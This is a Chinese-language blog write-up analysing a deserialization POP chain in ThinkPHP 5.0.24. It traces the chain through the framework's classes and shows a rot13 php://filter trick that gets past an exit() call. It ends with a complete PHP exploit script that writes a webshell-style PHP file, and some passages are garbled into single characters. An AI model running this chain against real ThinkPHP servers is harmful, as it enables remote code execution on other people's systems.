thinkphp5.0.24反序列化漏洞分析
文章目录
thinkphp5框架:
thinkphp5的入口文件在
public\index.php
,访问
http://192.168.64.105/thinkphp_5.0.24/public/index.php
具体分析
反序列化起点
写一个反序列化入口点
全局搜索
__destruct()
函数
\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php
中的
__destruct()
函数,调用了removeFiles()
跟进removeFiles(),第163行的file_exists可以触发
__toString
方法
全局搜索
__toString方法
在
thinkphp\library\think\Model.php
的第2265行,发现其调用了
toJson方法
跟进
toJson
,发现其调用了toArray()方法(在Model.php中)
toArray
跟进
toArray
,发现其有三处可以调用
__call
方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发
__call
魔术方法)
__call(),在对象中调用一个不可访问方法时调用。
着重看第三处,也就是第912行,这个需要我们控制$value变量
这个$value变量是根据
$value = $this->getRelationData($modelRelation);
而来的
getRelationData分析
跟进
getRelationData
方法,注意参数
$modelRelation
需要是
Relation
类型的,该方法也是
thinkphp\library\think\Model.php
中定义的
如果我们让if满足,那么
$value=$this->parent
,看三个条件
$this->parent
存在且可控- 第二个条件
!$modelRelation->isSelfRelation()
,跟进isSelfRelation()
方法,该方法在thinkphp\library\think\model\Relation.php
中定义,返回$this->selfRelation,可控
- 第三个条件
get_class($modelRelation->getModel()) == get_class($this->parent)
,也就是
跟进
getModel()函数
,该函数在
thinkphp\library\think\model\Relation.php
,返回
$this->query->getModel()
,其中$query可控
所以我们要查哪个类的getModel()可控,最后找到了
thinkphp\library\think\db\Query.php
的getModel方法,该方法返回
$this->model
,并且$this->parent可控
三个条件都满足,执行
$value = $this->parent; return $value;
,也就是
\think\console\Output
该函数分析到这里
$modelRelation生成
上面分析了函数的执行过程,接下来分析我们怎么能传入一个
Relation类
的$modelRelation参数
发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists
跟进
Loader::parseName
瞅一瞅,这个函数也只是对传入的
$name
进行了一些大小写的替换,没有一些很严格的过滤操作,因为
$name
可控,所以$relation可控
在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphp\library\think\Model.php)中存在的方法
if(method_exists($this,$relation))
这里选择getError,因为其不仅在Model类中定义,且error可控
所以我们只要设置了$error,那么其值就会通过
$modelRelation = $this->$relation();
传给$modelRelation ,因为relation()也就是
Error()
,所以就是
$modelRelation = $this->Error()
,即
$modelRelation = $error
modelRelation分析到这里,而我们传的
$error
是什么,接下来会分析,其实就是
HasOne
类
进入__call前的两个if
接下来要分析两个if条件
我们看第一个if,要满足
m
o
d
e
l
R
e
l
a
t
i
o
n
这
个
类
中
存
在
g
e
t
B
i
n
d
A
t
t
r
(
)
函
数
,
而
且
下
一
个
‘
modelRelation这个类中存在getBindAttr()函数,而且下一个`
modelRelation这个类中存在getBindAttr()函数,而且下一个‘bindAttr`是该函数的返回值
全局搜索getBindAttr
其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控
我们搜索继承OneToOne的类,发现HasOne类,所以可以
让$modelRelation的值为HasOne
,这个也满足
getRelationData()传入的是Relation类对象
的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!
其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候
__call
然后进入
__call
,要选择一个能写webshell的类的
__call
方法,选择了
thinkphp\library\think\console\Output.php
所以上面的$value应该是一个
thinkphp\library\think\console\Output.php
类对象
在这里
m
e
t
h
o
d
和
method和
method和this->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行
block
方法,跟进Output的
block
方法
跟进
writeln
方法
跟进write方法
handle属性可控,所以全局搜索
write
方法
thinkphp\library\think\session\driver\Memcached.php
的write方法
而$this->handler可控,所以全局搜索可用的set方法
虚假的写文件
在
thinkphp\library\think\cache\driver\File.php
中,set方法可以使用
file_put_contents
写文件,第158行的exit可以使用伪协议进行绕过
初步来看可以利用file_put_contents来写文件,我们跟入
d
a
t
a
和
data和
data和filename,看
d
a
t
a
与
data与
data与filename是否可控
$filename
的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控
- 跟进$data,发现$data是已经被写死了,$value的值只能为true
所以就是file_put_contents可以写文件,但是内容不可控
setTagItem
所以继续看set接下来的代码,调用了setTagItem()
进入
thinkphp\library\think\cache\Driver.php
的
setTagItem
方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的
但是windows对文件名有相应的要求,所以复现不容易
绕过exit
上面已经分析得很详细了,这里简单调试分析一下
到$value
到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,
这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走
随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的
这个第二次调用set函数,$key可知,$value可控
放在linux运行,生成了对应的文件
查看
这里虽然看着是加了
'
,但是其实并没有,注意访问的时候,将
?
进行url编码一下
注意需要将php的
short_open_tag
设为
Off
,不然会将
<??>
之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错
exp
<?phpnamespacethink\process\pipes;usethink\model\Pivot;abstractclassPipes{}//Windows类中有$files数组 通过file_exists触发__toString方法classWindowsextendsPipes{private$files=[];//$files是个数组publicfunction__construct(){$this->files=[newPivot()];//触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot}}namespacethink\model;usethink\Model;classPivotextendsModel{}# Model抽象类namespacethink;usethink\model\relation\HasOne;usethink\console\Output;usethink\db\Query;abstractclassModel{protected$append=[];protected$error;public$parent;#修改处protected$selfRelation;protected$query;protected$aaaaa;function__construct(){$this->parent=newOutput();//调用__call()$this->append=['getError'];//会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation$this->error=newHasOne();//最后传给$modelRelation$this->selfRelation=false;//isSelfRelation()$this->query=newQuery();//用于判断getRelationData()中if条件的第三个}}#Relation抽象类 之后的Output是Relation的派生类namespacethink\model;usethink\db\Query;abstractclassRelation{protected$selfRelation;protected$query;function__construct(){$this->selfRelation=false;# 这个用于判断getRelationData()中if条件的第二个$this->query=newQuery();#class Query}}#OneToOne HasOne 用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()namespacethink\model\relation;usethink\model\Relation;abstractclassOneToOneextendsRelation{# OneToOne抽象类function__construct(){parent::__construct();}}// HasOneclassHasOneextendsOneToOne{protected$bindAttr=[];function__construct(){parent::__construct();$this->bindAttr=["no","123"];# 这个需要动调,才能之后为什么这么写,待会说 }}#Output 进入Output->__call()namespacethink\console;usethink\session\driver\Memcached;classOutput{private$handle=null;protected$styles=[];function__construct(){$this->handle=newMemcached();//目的调用Memcached类的write()函数$this->styles=['getAttr'];# 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr}}#Querynamespacethink\db;usethink\console\Output;classQuery{protected$model;function__construct(){$this->model=newOutput();//判断getRelationData()中if条件的第三个}}#Memcachednamespacethink\session\driver;usethink\cache\driver\File;classMemcached{protected$handler=null;function__construct(){$this->handler=newFile();//目的是调用File->set()}}#Filenamespacethink\cache\driver;classFile{protected$options=[];protected$tag;function__construct(){$this->options=['expire'=>0,'cache_subdir'=>false,'prefix'=>'','path'=>'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',//'data_compress'=>false,];$this->tag=true;}}usethink\process\pipes\Windows;echourlencode(serialize(newWindows()));
pop链图
这里借用一下
osword
师傅的图
解决windows下的文件名问题
我们注意到,在原有的链子中,我们在
thinkphp\library\think\session\driver\Memcached.php
中将$this->handler设置为File类对象,目的是调用File.php的
set()
方法
但是也可以将$this->handler设置为
thinkphp\library\think\cache\driver\Memcached.php
中的
Memcached
类对象,注意这两个php文件是不一样的,其也有一个set方法
第114行也有一个set方法,且handler可控
看这个getCacheKey()函数,这个options可控,所以返回值可控
所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个
<>?
这样的特殊符号的影响
详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
参考链接
- ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
- Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
- thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
- [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客
版权归原作者 Sk1y 所有, 如有侵权,请联系我们删除。